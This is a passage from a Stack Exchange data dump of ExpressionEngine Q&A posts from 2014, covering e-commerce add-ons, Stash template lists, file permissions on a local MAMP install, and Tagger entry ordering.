  <row Id="26827" PostTypeId="2" ParentId="26826" CreationDate="2014-11-20T23:03:20.450" Score="0" Body="&lt;p&gt;You shouldn't have a problem with using either of them without out actually using the shopping cart portion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Exp:resso Store you can simply add &lt;code&gt;disable_form=&quot;yes&quot;&lt;/code&gt; to the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag to prevent Store from creating a form that would allow the user to add the item to the cart. I would also recommend removing your submit button to make it less confusing for users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob should have a similar functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either approach though the easiest way would be to just not include the template code to add an item to the cart.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-11-20T23:03:20.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26828" PostTypeId="2" ParentId="26823" CreationDate="2014-11-20T23:13:17.280" Score="0" Body="&lt;p&gt;Can you confirm that is indeed the correct path to your cache folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mine for example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Users/username/Sites/sitename/system_folder/expressionengine/cache&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-11-20T23:13:17.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26829" PostTypeId="2" ParentId="26798" CreationDate="2014-11-21T00:17:33.577" Score="1" Body="&lt;p&gt;Happy it was a simple fix. For future reference, if a comment leads you to the solution, you should give the commentator an opportunity to post it as an 'answer'. The whole SE system is built on points and points are used to boost your credibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst the comment was correct I'd likely go a step further as stash is of no use in your scenario as your stash a list then getting the list whilst also using exp:channel tags again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Rather then using set_list to capture 1 entry, use it to capture 100 (or all)&#xA;{exp:stash:set_list name='mystash' parse_tags='yes' parse_depth='2'}&#xA;{exp:channel:entries channel=&quot;group_photo_tags&quot; limit=&quot;100&quot;} //capture 100 entries&#xA;  {stash:entry_name}{title}{/stash:entry_name}//Record title of entry&#xA;  {stash:entry_url}{url_title}{/stash:entry_url}//Record the URL of the entry for matching&#xA;  //Use a nested list for recording the gallery matrix/grid&#xA;  {exp:stash:set_list:nested name=&quot;{entry_url}_gallery&quot; parse_tags=&quot;yes&quot;}&#xA;  {group_photo_entry}&#xA;        {stash:my_title}{title}{/stash:my_title}// Grab the title of the image&#xA;        {stash:my_width}{img-width}{/stash:my_width}&#xA;        {stash:my_height}{exp:math formula='([1] * [3]) / [2]' params='{img-width}| {group_photo_entry:file_name}{width}{/group_photo_entry:file_name}|{group_photo_entry:file_name}{height}{/group_photo_entry:file_name}' round='up'}  &#xA;        {/stash:my_height}&#xA;        {stash:my_scale}{exp:math formula='[1] / [2]' params='{img-width}|{group_photo_entry:file_name}{width}{/group_photo_entry:file_name}' decimals='4'&#xA;        {/stash:my_scale}&#xA;        {stash:my_file}{group_photo_entry:file_name}{/stash:my_file}&#xA;  {/group_photo_entry}&#xA;  {/exp:stash:set_list:nested}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;//Now we can use get list to spit out one particular entry using the match + against&#xA;variables. I'm assuming there will be a segment in the URL (say it's segment_3)&#xA;we can use to match a conditional against.&#xA;{exp:stash:get_list&#xA;   name='mystash'&#xA;   parse_tags='yes'&#xA;   parse_conditionals='yes'&#xA;   match=&quot;#^{segment_3}$#&quot; against=&quot;entry_url&quot;}&#xA;&#xA;&amp;lt;h3&amp;gt;{entry_title} - {exp:stash:get_list:nested name=&quot;{entry_url}_gallery&quot;} {my_title}&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt; &amp;lt;p&amp;gt;Note: for older browsers, the person's face will not be circled&amp;lt;/p&amp;gt;&amp;lt;div id=&quot;mydiv&quot; style=&quot;width: {my_width}px; height:{my_height}px;&quot;&amp;gt;&amp;lt;img src=&quot;{my_file}&quot; width=&quot;{my_width}&quot; height=&quot;{my_height}&quot; /&amp;gt; &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if gt IE 8]&amp;gt;&amp;lt;!--&amp;gt; &amp;lt;div id=&quot;mydiv&quot; style=&quot;width: {my_width}px; height:{my_height}px;&quot;&amp;gt; &amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;canvas id=&quot;mycanvas&quot; width=&quot;{my_width}&quot; height=&quot;{my_height}&quot;&amp;gt;&#xA;&amp;lt;/canvas&amp;gt;&#xA;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;var c=document.getElementById(&quot;mycanvas&quot;);&#xA;var ctx=c.getContext(&quot;2d&quot;);&#xA;ctx.clearRect(0, 0, c.width, c.height);&#xA;drawphoto(c, ctx, drawcircle);&#xA;&#xA;function drawphoto(c, ctx, onload){&#xA;var photo = new Image();&#xA;   photo.onload = function(){&#xA;      ctx.drawImage(photo,0,0,{my_width},{my_height});&#xA;      onload(c,ctx);&#xA;   };&#xA;photo.src = &quot;{my_file}&quot;;&#xA;}&#xA;&#xA;function drawcircle(c,ctx){&#xA;ctx.beginPath();&#xA;ctx.arc(&#xA;{exp:math formula='[1] * [2]' params='{my_scale}|{x}'},&#xA;{exp:math formula='[1] * [2]' params='{my_scale}|{y}'},&#xA;{exp:math formula='[1] * [2]' params='{my_scale}|{radius}'}*2&#xA;,0,2*Math.PI);&#xA;ctx.strokeStyle = 'red';&#xA;ctx.lineWidth = 4;&#xA;ctx.stroke();&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically we use the stash_set_list to capture &lt;strong&gt;all&lt;/strong&gt; fields from a set number of entries. We use the &lt;code&gt;:nested&lt;/code&gt; tag to create a related list from either a matrix or grid field within the parent entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all that info now recorded, we can use stash_get and stash_get:nested along with &lt;code&gt;match=' and&lt;/code&gt;against=` to only return the valid stashed content from the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code above is not guaranteed to work, I've simply refactored your code to illustrate how it should work. Once you've got it working, you can then start caching the results as stash can be saved to the DB in one blob saving a ton of queries, but thats for another time.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-11-21T00:17:33.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26830" PostTypeId="2" ParentId="26818" CreationDate="2014-11-21T08:34:05.297" Score="1" Body="&lt;p&gt;You really shouldn't be allowing apostrophe's in the username field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But assuming that you have some strange one-off reasoning behind it, you'll need to modify the logic involved with validating the username. The function you'll need to modify can be found in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system/expressionengine/libraries/EE_Form_validation.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply look for this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function valid_username()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and modify it accordingly. Mine was on line 109.&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2014-11-21T08:34:05.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26831" PostTypeId="2" ParentId="26823" CreationDate="2014-11-21T08:48:53.590" Score="1" Body="&lt;p&gt;If a chmod 777 won't fix it, it could be a directory/file ownership issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First try letting OSX fix it. Open up Disk Utility app on your Mac, click on your primary partition (under your primary drive) and click &quot;Repair Permissions&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you'll need to do a little homework to figure out the correct folder/file ownership permissions for your MAMP folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Open Terminal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) cd into &lt;strong&gt;/Applications/MAMP/htdocs/website.local/&lt;/strong&gt; via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /Applications/MAMP/htdocs/website.local/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) enter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ls -la&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) observe the owner and group names which might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;drwxrwxr-x  2 jarrett  staff   102 Mar 19  2014 library&#xA;drwxrwxr-x  2 jarrett  staff   102 Mar 19  241  themes&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5) looking at the example above, jarrett would be the owner, staff would be the group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Now let's do a &lt;strong&gt;chown&lt;/strong&gt; command to recursively update the directories and files within&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -Rv root:admin /Applications/MAMP/htdocs/website.local/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or assuming you're already cd'd into the website.local directory, you can just do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -Rv root:admin .   (make sure to include that period)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;6b) Alternatively, you can do a CMD + i and scroll to the bottom to view and update ownership as well. I usually trust &lt;strong&gt;chown&lt;/strong&gt; more though. Using &quot;Apply to enclosed items&quot; should recursively perform the ownership update.&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2014-11-21T08:48:53.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26832" PostTypeId="1" CreationDate="2014-11-21T09:32:08.927" Score="0" ViewCount="35" Body="&lt;p&gt;Bit of an odd/exceptional issue but we are using CartThrobn on a site to sell subscriptions. We want to be able to offer a reduced price subscription if a certain coupon code is added at checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are currently applying the subscription to a specific, user-generated entry via the &lt;code&gt;subscription_plan_id&lt;/code&gt; and &lt;code&gt;subscription&lt;/code&gt; attributes of &lt;code&gt;{exp:cartthrob:add_to_cart_form}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing we'd need to write our own discount/coupon class but not sure then how we'd then essentially switch the plan to another on submission of a specific coupon code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts how this might be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-11-21T09:32:08.927" Title="CartThrob: subscription discount coupon development" Tags="|cartthrob|shopping-cart|subscriptions|discounts|coupon-code|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26833" PostTypeId="2" ParentId="26826" CreationDate="2014-11-21T09:51:25.923" Score="1" Body="&lt;p&gt;Cartthrob uses regular channels and entries for products, orders etc. so it's perfectly possible to set up your site without Cartthrob and add the shopping cart functionality later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't building an ecommerce site yet then you don't need Cartthrob yet. When you want to start selling, install Cartthrob, configure it (tell it which channels are for products, set up orders channel etc., configure the payment gateway) then add your checkout templates and away you go.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-21T09:51:25.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26834" PostTypeId="1" CreationDate="2014-11-21T12:06:41.163" Score="0" ViewCount="74" Body="&lt;p&gt;I'm using Tagger from devdemon and I wonder if it is possible to ordeby a customfield. It seems to me that the entries are orderby entry_date and I can't find a way to change it.&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2016-05-25T12:01:39.717" Title="Tagger entries orderby" Tags="|devdemon-tagger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26835" PostTypeId="1" CreationDate="2014-11-21T14:03:15.397" Score="0" ViewCount="90" Body="&lt;p&gt;I'm trying to output a custom field of the author of an entry. And no matter what I do, it wraps it in an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag that I cannot do anything with. I just want to output that value, but ExpressionEngine keeps wrapping it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I do is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot;}&#xA;    {custom_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And what comes out is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;whatever is in this field&quot;&amp;gt;whatever is in this field&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if I try to wrap it in an a tag myself, it wraps double.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;a href=&quot;whatever is in this field&quot;&amp;gt;&amp;lt;/a&amp;gt;&quot;&amp;gt;Link here&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I really need to strip the output manually with either PHP or Javascript?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2015-04-20T17:44:01.227" Title="Output custom author fields on entry" Tags="|members|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26837" PostTypeId="1" CreationDate="2014-11-21T15:43:42.007" Score="0" ViewCount="53" Body="&lt;p&gt;I'm showing single entries on my site index page and for each entry my url looks like this: &lt;code&gt;index.php/entry_url_title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE docs say that I can use &lt;code&gt;{path='site_index'}&lt;/code&gt; as a variable in &lt;code&gt;{exp:channel:prev_entry}&lt;/code&gt; and &lt;code&gt;{exp:channel:next_entry&lt;/code&gt;}, however that doesn't seem to be working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{path='site_index'}&lt;/code&gt; is returning: &lt;code&gt;index.php/site_index/next_entry_url_title&lt;/code&gt; Not the expected: &lt;code&gt;index.php/next_entry_url_title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{path='site_index'}&lt;/code&gt; is working correctly outside the &lt;code&gt;next_entry&lt;/code&gt; and &lt;code&gt;prev_entry&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE2.9.2&#xA;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Per Marks request I'm including my template code, stripped down to the essentials:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;home/layout&quot;}  &#xA;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}  &#xA;{case value=&quot;''&quot;}  &#xA;    &amp;lt;!-- List of Entries --&amp;gt;  &#xA;{/case}{case default=&quot;yes&quot;}  &#xA;    &amp;lt;div class=&quot;content wrap&quot;&amp;gt;  &#xA;        &amp;lt;div class=&quot;pagination top&quot;&amp;gt;  &#xA;        {exp:channel:next_entry channel=&quot;work&quot; url_title=&quot;{segment_1}&quot;}  &#xA;            &amp;lt;a href=&quot;{path='site_index'}&quot; class=&quot;left&quot;&amp;gt;Next - {title}&amp;lt;/a&amp;gt;  &#xA;        {/exp:channel:next_entry}  &#xA;        {exp:channel:prev_entry channel=&quot;work&quot; url_title=&quot;{segment_1}&quot;}  &#xA;            &amp;lt;a href=&quot;{path='site_index'}&quot; class=&quot;right&quot;&amp;gt;Prev - {title}&amp;lt;/a&amp;gt;  &#xA;        {/exp:channel:prev_entry}  &#xA;        &amp;lt;/div&amp;gt;  &#xA;    {exp:channel:entries channel=&quot;work&quot; url_title=&quot;{segment_1}&quot; limit=&quot;1&quot;}  &#xA;        &amp;lt;!-- Main Entry Content --&amp;gt;&#xA;    {/exp:channel:entries}&#xA;        &amp;lt;div class=&quot;pagination bottom&quot;&amp;gt;  &#xA;        {exp:channel:next_entry channel=&quot;work&quot; url_title=&quot;{segment_1}&quot;}  &#xA;            &amp;lt;a href=&quot;{path='site_index'}&quot; class=&quot;left&quot;&amp;gt;Next - {title}&amp;lt;/a&amp;gt;  &#xA;        {/exp:channel:next_entry}  &#xA;        {exp:channel:prev_entry channel=&quot;work&quot; url_title=&quot;{segment_1}&quot;}  &#xA;            &amp;lt;a href=&quot;{path='site_index'}&quot; class=&quot;right&quot;&amp;gt;Prev - {title}&amp;lt;/a&amp;gt;  &#xA;        {/exp:channel:prev_entry}  &#xA;        &amp;lt;/div&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;    {/case}  &#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see I'm using switchee, however I've tested outside of switchee I get the same result.&lt;/p&gt;&#xA;" OwnerUserId="3630" LastEditorUserId="3630" LastEditDate="2014-11-24T13:37:43.940" LastActivityDate="2014-11-24T13:37:43.940" Title="prev_entry and next_entry not returning correct site_index path" Tags="|next-prev|2.9|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26838" PostTypeId="2" ParentId="26835" CreationDate="2014-11-21T16:26:17.313" Score="1" Body="&lt;p&gt;This sounds like the &quot;auto hyperlink&quot; feature built into each of the Channel preferences. This custom field doesn't happen to be a hyperlink or email address by chance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, simply disable this feature on a per channel basis by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;going to Admin &gt; Channels &gt; Edit Preferences (for whatever channel you want to edit), &lt;/li&gt;&#xA;&lt;li&gt;Scroll down and set &quot;Automatically turn URLs and email addresses into links&quot; to NO.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also explore whether the custom field has a certain &lt;strong&gt;Default Text Formatting&lt;/strong&gt; setting that's causing it to format differently on publish.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Admin &gt; Channel Fields&lt;/li&gt;&#xA;&lt;li&gt;Click into a Group&lt;/li&gt;&#xA;&lt;li&gt;Edit the field settings&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;strong&gt;Default Text Formatting&lt;/strong&gt; to &lt;strong&gt;no&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="339" LastActivityDate="2014-11-21T16:26:17.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26839" PostTypeId="2" ParentId="26834" CreationDate="2014-11-21T16:44:46.250" Score="0" Body="&lt;p&gt;According to the documentation, there isn't one. However, looking at the add-on code, it appears you can either order by entry_title, entry_date, or random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it would be quite easy for you to go into the logic and add another case statement to the existing switch/case statement. Look for this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch ($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('orderby'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/system/expressionengine/third_party/tagger/mod.tagger.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just add another case statement or modify the add-on to take any value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    switch ($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('orderby'))&#xA;    {&#xA;        case 'entry_title':&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;order_by('ct.title', $sort);&#xA;            break;&#xA;        case 'random':&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;order_by('RAND()', FALSE);&#xA;            break;&#xA;        default:&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;order_by('ct.entry_date', $sort);&#xA;            break;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For instance, you could modify the default statement to accept any value; just know it will error if you provide a bad value (since this directly modifies the MySQL statement):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        default:&#xA;            $orderby = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('orderby');&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;order_by($orderby, $sort);&#xA;            break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="339" LastActivityDate="2014-11-21T16:44:46.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26840" PostTypeId="2" ParentId="26811" CreationDate="2014-11-21T18:16:46.077" Score="1" Body="&lt;p&gt;Have you tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $base_path and other variables defined above this&#xA;$config['updater']['path_map']['root'] = $base_path . '/';&#xA;$config['updater']['path_map']['backup'] = $base_path . '/updater_backup/';&#xA;$config['updater']['path_map']['system'] = $base_path . '/' . $system_folder . '/';&#xA;$config['updater']['path_map']['system_third_party'] = $config['third_party_path'];&#xA;$config['updater']['path_map']['themes'] = $config['theme_folder_path'];&#xA;$config['updater']['path_map']['themes_third_party'] = $config['theme_folder_path'] . 'third_party/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="934" LastActivityDate="2014-11-21T18:16:46.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26841" PostTypeId="1" CreationDate="2014-11-21T19:07:51.633" Score="0" ViewCount="65" Body="&lt;p&gt;I've been struggling with stash on this project for some reason. I have a business that has multiple locations available. The locations page is filtered by location to only show what the user selects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the nested lists working now thanks to Mark Croxton (@croxton). I can't seem to get my logical operators working properly though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a list that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;locations&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries &#xA;        channel=&quot;location&quot; &#xA;        orderby=&quot;title&quot; &#xA;        sort=&quot;asc&quot; &#xA;        disable=&quot;categories|member_data|pagination&quot; &#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;        {address}&#xA;            {stash:name}{name}{/stash:name}&#xA;            {stash:street}{street}{/stash:street}&#xA;            {stash:street_2}{street_2}{/stash:street_2}&#xA;            {stash:city}{city}{/stash:city}&#xA;            {stash:state}{region}{/stash:state}&#xA;            {stash:postal_code}{postal_code}{/stash:postal_code}&#xA;        {/address}&#xA;        {stash:number}{phone_number}{/stash:number}&#xA;        {exp:stash:set_list:nested name=&quot;location_hours&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;            {hours_of_operation}&#xA;                {stash:status}{hours_of_operation:status}{/stash:status}&#xA;                {stash:day}{hours_of_operation:day}{/stash:day}&#xA;                {stash:open}{hours_of_operation:open format=&quot;%g:%i%A&quot;}{/stash:open}&#xA;                {stash:close}{hours_of_operation:close format=&quot;%g:%i%A&quot;}{/stash:close}&#xA;                {stash:range_open}{hours_of_operation:open format=&quot;%H%i&quot;}{/stash:range_open}&#xA;                {stash:range_close}{hours_of_operation:close format=&quot;%H%i&quot;}{/stash:range_close}&#xA;            {/hours_of_operation}&#xA;        {/exp:stash:set_list:nested}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have figured out that I have to set the format of date/time stamps whilst setting the variables in stash rather than passing them through and formatting them when used. I wish there was a different way, but I can't seem to get that to work. This is why I have &lt;code&gt;range_open&lt;/code&gt; and &lt;code&gt;range_close&lt;/code&gt; variables. I am trying to use those in order to display the status of the location being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/12422&quot; rel=&quot;nofollow&quot;&gt;Per a thread&lt;/a&gt; in which Mark informed someone to pull the &quot;parse_conditionals&quot; from inner and outer lists. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list &#xA;    name='locations' &#xA;}&#xA;    &amp;lt;div class=&quot;contentbox {name}{if '{name}' == 'XXX'} active{if:else} hidden{/if}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_3 nomargin&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{name}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;{street}&amp;lt;br /&amp;gt;{city}, {state} - {postal_code}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_3 nomargin&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;HOURS&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;ul style=&quot;list-style:none; padding:0;&quot;&amp;gt;&#xA;                {exp:stash:get_list:nested &#xA;                    name=&quot;location_hours&quot; &#xA;                    context=&quot;{item_entry_id}&quot; &#xA;                    prefix=&quot;nested&quot;&#xA;                }&#xA;                    &amp;lt;li&amp;gt;&amp;lt;p class=&quot;text-left&quot; style=&quot;font-weight:bold;padding:0;&quot;&amp;gt;{nested:day} : {nested:status}&amp;lt;/p&amp;gt;{if &quot;{nested:status}&quot; == &quot;Open&quot;}&amp;lt;p style=&quot;font-size:85%;padding:0;text-align:center;&quot;&amp;gt;{nested:open} - {nested:close}&amp;lt;/p&amp;gt;{/if}&#xA;                {/exp:stash:get_list:nested}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_3 nomargin {name}&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;STATUS&amp;lt;/h4&amp;gt;&#xA;            {exp:stash:get_list:nested &#xA;                name=&quot;location_hours&quot; &#xA;                context=&quot;{item_entry_id}&quot; &#xA;                prefix=&quot;inner&quot;&#xA;            }&#xA;                {if &quot;{inner:day format='%l'}&quot; == &quot;{current_time format='%l'}&quot;}&#xA;                    {if &quot;{inner:status}&quot; == &quot;Open&quot;}&#xA;                        {if &quot;{current_time format='%H%i'}&quot; &amp;gt;= &quot;{inner:range_open}&quot; AND &quot;{current_time format='%H%i'}&quot; &amp;lt;= &quot;{inner:range_close}&quot;}&#xA;                            &amp;lt;p&amp;gt;We are currently &amp;lt;strong&amp;gt;Open&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        {if:else}&#xA;                            &amp;lt;p&amp;gt;We are currently &amp;lt;strong&amp;gt;Closed&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                    {/if}&#xA;                {/if}&#xA;            {/exp:stash:get_list:nested}&#xA;            &amp;lt;h4&amp;gt;CALL&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;Phone: {number}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;h4&amp;gt;EMAIL&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{email}&quot;&amp;gt;{email}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;clearnospacing&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything seems to be working well except for the store &quot;STATUS&quot; segment. I don't know if this is due to looping through the nested stash list twice or not. I didn't see anything in the docs saying it couldn't be done. I have even tried to change the &quot;prefix&quot; for the secondary loop to &quot;inner&quot; rather than &quot;nested&quot;. The odd thing is that I can retrieve the values, but the logic won't compute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, in the secondary inner list loop, the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{inner:day format='%l'}&quot; == &quot;{current_time format='%l'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...when just output above the logic with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{inner:day format='%l'} == {current_time format='%l'}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sunday == Friday&#xA;Monday == Friday&#xA;Tuesday == Friday&#xA;Wednesday == Friday&#xA;Thursday == Friday&#xA;Friday == 